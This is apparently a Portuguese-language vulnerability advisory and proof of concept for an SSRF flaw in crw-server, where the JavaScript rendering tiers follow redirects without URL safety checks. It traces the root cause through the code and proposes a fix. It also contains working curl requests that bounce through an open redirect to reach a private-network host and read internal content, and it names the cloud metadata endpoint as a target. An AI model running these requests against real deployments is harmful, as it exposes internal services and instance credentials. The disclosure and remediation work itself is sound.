
PoC — SSRF via bypass da camada de renderização JS do filtro de segurança de URL no crw (GHSA-5jp3-339h-vxqw, CVE-2026-87007, CVSS 7.5).
Status do CVE: solicitado, aguardando atribuição. Esta descoberta é publicada como GHSA-5jp3-339h-vxqw. Após a atribuição do CVE, este repositório é renomeado
CVE-YYYY-NNNNN-crw-PoCe este banner é substituído pelo link do CVE.
| Pesquisador | Dostxodjayev Abdullox (@squeeze440) |
| Aviso | GHSA-5jp3-339h-vxqw |
| CVSS 3.1 | 7.5 (Alto) |
| Fraqueza | CWE-918 |
Resumo
Em crw-server, a lista de permissão/negação de SSRF (crw_core::url_safety) é aplicada apenas uma vez, contra a url fornecida pelo chamador, antes que a requisição seja despachada para um renderizador; as camadas de renderização de JS orientadas por CDP (LightPanda — o renderizador JS padrão — e Chrome) então conduzem a página de destino via Page.navigate e seguem cada redirecionamento subsequente, navegação acionada por JS e XHR/fetch na página inteiramente dentro da própria pilha de rede do navegador, sem nenhuma chamada adicional a url_safety em momento algum, permitindo que um chamador autenticado (ou, em uma implantação padrão sem chave, não autenticado) que defina renderJs:true faça o crawler pivotar para o espaço de endereços RFC1918/loopback/link-local por meio de um único redirecionamento aberto externo e leia de volta a resposta do serviço interno no corpo da resposta da API.
Produto
fastCRW / crw — crw-server (API REST, também acessível de forma idêntica através da camada de ferramenta MCP em processo crw-mcp, que chama o mesmo caminho de código crw_server::routes::mcp::call_tool).
Versão Testada
Commit 9f1e5ea5555bbf29cd41e454902be0cd804a15e4 (v0.28.0, ponta de main no momento do teste), compilado e executado via o próprio docker-compose.yml --profile heavy do projeto.
CVSS v3.1 Estimado
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N — 7.5 (Alto)
PR:N: o padrão de auto-hospedagem fornecido (config.docker.toml) não possui seção [auth]/api_keys, correspondendo ao padrão "aberto por design" já documentado em GHSA-qq8c-fch4-cxq7. Uma implantação que de fato configura chaves de API rebaixa isso para PR:L (qualquer locatário autenticado individual ainda pode pivotar o mecanismo compartilhado para qualquer rede interna em que ele seja executado) — o bug não é mitigado pela adição de chaves, apenas recondicionado.I:N/A:N: o PoC demonstra a leitura de volta de uma resposta HTTP interna (confidencialidade). Nenhuma ação de escrita/alteração de estado contra um alvo interno foi exercida ou é alegada.S:U: a divulgação é mediada inteiramente através do próprio canal de resposta da API do componente vulnerável.Detalhes
Causa raiz: o caminho do renderizador CDP/navegador nunca chama crw_core::url_safety após a única verificação feita na camada de rota.
crates/crw-server/src/routes/scrape.rs:29-34 (identicamente em crawl.rs:47/136, map.rs:73/58, extract.rs:178/95, batch.rs:111/102, v2/*, routes/mcp.rs:25) — a única verificação de SSRF em todo o ciclo de vida da requisição para uma requisição renderizada por JS: crw_core::url_safety::validate_safe_url_resolved(&parsed_url) é executada uma vez contra a url literal do chamador, antes que o renderizador seja invocado.crates/crw-renderer/src/cdp.rs:2621-2631 — o futuro work de fetch_inner envia Page.navigate com a url bruta diretamente para o endpoint CDP (compartilhado tanto pela camada chrome quanto pela lightpanda — ambas falam CDP através desta mesma função). Chrome/LightPanda então realiza sua própria resolução DNS e segue qualquer redirecionamento do lado do servidor, <meta http-equiv="refresh"> ou mudança de location via JS internamente. Nenhuma chamada a url_safety existe em qualquer lugar de cdp.rs.crates/crw-renderer/src/blocklist.rs:1-124 — a única lógica de interceptação Fetch.requestPaused por requisição que é executada durante uma renderização CDP (conectada em cdp.rs por volta das linhas 930-1002). Ela filtra hosts de anúncios/rastreadores e tipos de recursos bloqueados (imagens, fontes, etc.) apenas por razões de largura de banda/ruído — nunca verifica o destino de uma requisição contra faixas privadas/loopback/link-local.crates/crw-crawl/src/single.rs:559-569 — o único lugar onde o final_url pós-navegação é inspecionado. redirect_is_material() apenas decide se deve anexar uma string cosmética "redirected_to: <url>" a data.warnings (para sinalizar "você obteve a página errada", conforme o comentário que faz referência a northernair.ca) — nunca chama url_safety::validate_safe_url* e nunca falha a requisição.crates/crw-renderer/src/http_only.rs:291 — a camada HTTP simples (não-JS) envolve corretamente seu reqwest::Client em crw_core::url_safety::safe_redirect_policy(), que revalida (com resolução DNS) cada salto de redirecionamento. Esta é exatamente a proteção ausente nas camadas CDP. Confirmado dinamicamente: a mesma requisição PoC com renderJs:false é corretamente rejeitada ("error following redirect", veja a captura de tela de linha de base).Prova de Conceito
Confirmado dinamicamente contra a própria pilha docker-compose.yml --profile heavy do projeto (crw + lightpanda + chrome, compilada a partir do commit testado).
crw/chrome/lightpanda (docker network: source_default), no endereço privado 172.19.0.6 — um contêiner nginx simples servindo uma página com conteúdo realista de aparência interna (título "Internal Ops Console", um valor com formato de token de sessão).curl -s -X POST http://127.0.0.1:3000/v1/scrape -H "Content-Type: application/json" \
-d '{"url":"http://172.19.0.6/","renderJs":false}'
→ {"success":false,"error":"Invalid request: Access to 172.19.0.6 is not allowed", ...}
curl -s -X POST http://127.0.0.1:3000/v1/scrape -H "Content-Type: application/json" \
-d '{"url":"https://httpbin.org/redirect-to?url=http://172.19.0.6/&status_code=302","renderJs":false}'
→ {"success":false,"error":"HTTP request failed: error following redirect ...", ...}
evidence/ssrf_baseline_blocked.png)curl -s -X POST http://127.0.0.1:3000/v1/scrape -H "Content-Type: application/json" \
-d '{"url":"https://httpbin.org/redirect-to?url=http://172.19.0.6/&status_code=302","renderJs":true,"renderer":"chrome","formats":["markdown"]}'
HTTP 200, "success":true, "data":{"markdown":"# Internal Ops Console\n\n# internal-ops.crw-lab.local\n\nNode role: primary\n\nBuild: 2026.08.02-rc3\n\nSession token: 8f3d1c9a7e2b4460b9e5d6a1c0f7e3d2", ..., "warnings":["redirected_to: http://172.19.0.6/"], "renderDecision":{"kind":"userPinned","renderer":"chrome"}} — o conteúdo do servidor interno é retornado ao chamador; o próprio aviso redirected_to da ferramenta mostra que ela sabe que seguiu a requisição para o endereço bloqueado e retorna o conteúdo mesmo assim. (captura de tela: evidence/ssrf_chrome_tier_bypass.png)"renderJs":true sozinho — a maneira comum pela qual um chamador solicita renderização JS): a escada escolheu lightpanda ("renderDecision":{"kind":"autoDefault","chosen":"lightpanda"}, "renderedWith":"lightpanda") e retornou o mesmo conteúdo interno, provando que ambas as camadas CDP (não apenas chrome) compartilham a lacuna.https://httpbin.org/redirect-to representa "qualquer URL externamente acessível que retorne 302"; um atacante real hospedaria isso em seu próprio domínio. 172.19.0.6 representa qualquer endereço nas faixas que url_safety foi projetado para bloquear (RFC1918, loopback, link-local/169.254.169.254 de metadados de nuvem, .internal) — o bypass ocorre antes que qualquer verificação de faixa seja executada (o caminho CDP nunca chama url_safety de forma alguma), portanto não é específico a esta única faixa bloqueada. Um endpoint de metadados de nuvem ativo não estava disponível neste laboratório local, então esse alvo específico não foi diretamente exercido; é uma extrapolação direta, rastreada no código, não uma alegação não testada.
Impacto
Qualquer chamador capaz de alcançar /v1/scrape, /v2/scrape, /v1/crawl, /v1/map, /v1/extract, seus equivalentes batch/v2, ou as ferramentas MCP equivalentes — com renderJs:true — pode usar a implantação alvo do crw como um proxy aberto de rede interna: ler respostas dos serviços de loopback do implantador, serviços internos endereçados em RFC1918 (bancos de dados, painéis de administração, APIs internas) e — em qualquer implantação hospedada na nuvem — o endpoint de metadados de nuvem da instância (169.254.169.254), potencialmente recuperando credenciais IAM/da instância. No padrão de auto-hospedagem fornecido (sem chaves de API configuradas), isso não requer autenticação alguma.
Fraquezas
Remediação
A bomba de interceptação Fetch.requestPaused já conectada às camadas CDP (crates/crw-renderer/src/cdp.rs, acionada por Blocklist em blocklist.rs) é o ponto de estrangulamento natural: estendê-la (ou adicionar uma verificação irmã invocada a partir da mesma bomba, para ambos os backends chrome e lightpanda) para chamar crw_core::url_safety::validate_safe_url contra a URL de cada requisição interceptada — cobrindo a navegação inicial, cada salto de redirecionamento, cada navegação acionada por JS e cada carregamento de XHR/fetch/iframe na mesma página — e Fetch.failRequest para qualquer coisa que resolva para um host bloqueado, correspondendo ao que safe_redirect_policy() já faz para a camada http_only. Observe que isso significa que Fetch.enable/interceptação não pode mais permanecer condicionalmente desativado quando a proteção contra SSRF depende de sua execução. Como defesa em profundidade, também transforme a verificação existente de final_url pós-navegação em crates/crw-crawl/src/single.rs:559-569 de uma entrada cosmética em warnings para uma falha rígida via url_safety::validate_safe_url_resolved, para capturar o que escapar da interceptação (por exemplo, uma primeiríssima resposta correndo com a configuração de Fetch.enable).
Crédito
Dostxodjayev Abdullox
Canal de Relato
.github/SECURITY.md (renderizado em https://github.com/us/crw/security): o GitHub Private Vulnerability Reporting é o canal preferido ("abra um relato na aba Security deste repositório"), com [email protected] como alternativa por e-mail. Confirmado genuinamente ativo e aberto para este repositório: gh api repos/us/crw/private-vulnerability-reporting --jq .enabled → true, e um botão "Report a vulnerability" ativo foi observado em https://github.com/us/crw/security (apontando para https://github.com/us/crw/security/advisories/new). A declaração de escopo nessa página inclui explicitamente "O binário crw-server e todos os crates do workspace neste repositório" e "O servidor MCP (crw-mcp)"; ela exclui "Navegadores headless de terceiros (Chromium, Lightpanda) invocados pelo renderizador" — esta descoberta é sobre a própria validação ausente do crw em torno da chamada de navegação CDP, não um bug no próprio Chromium/Lightpanda, portanto está dentro do escopo.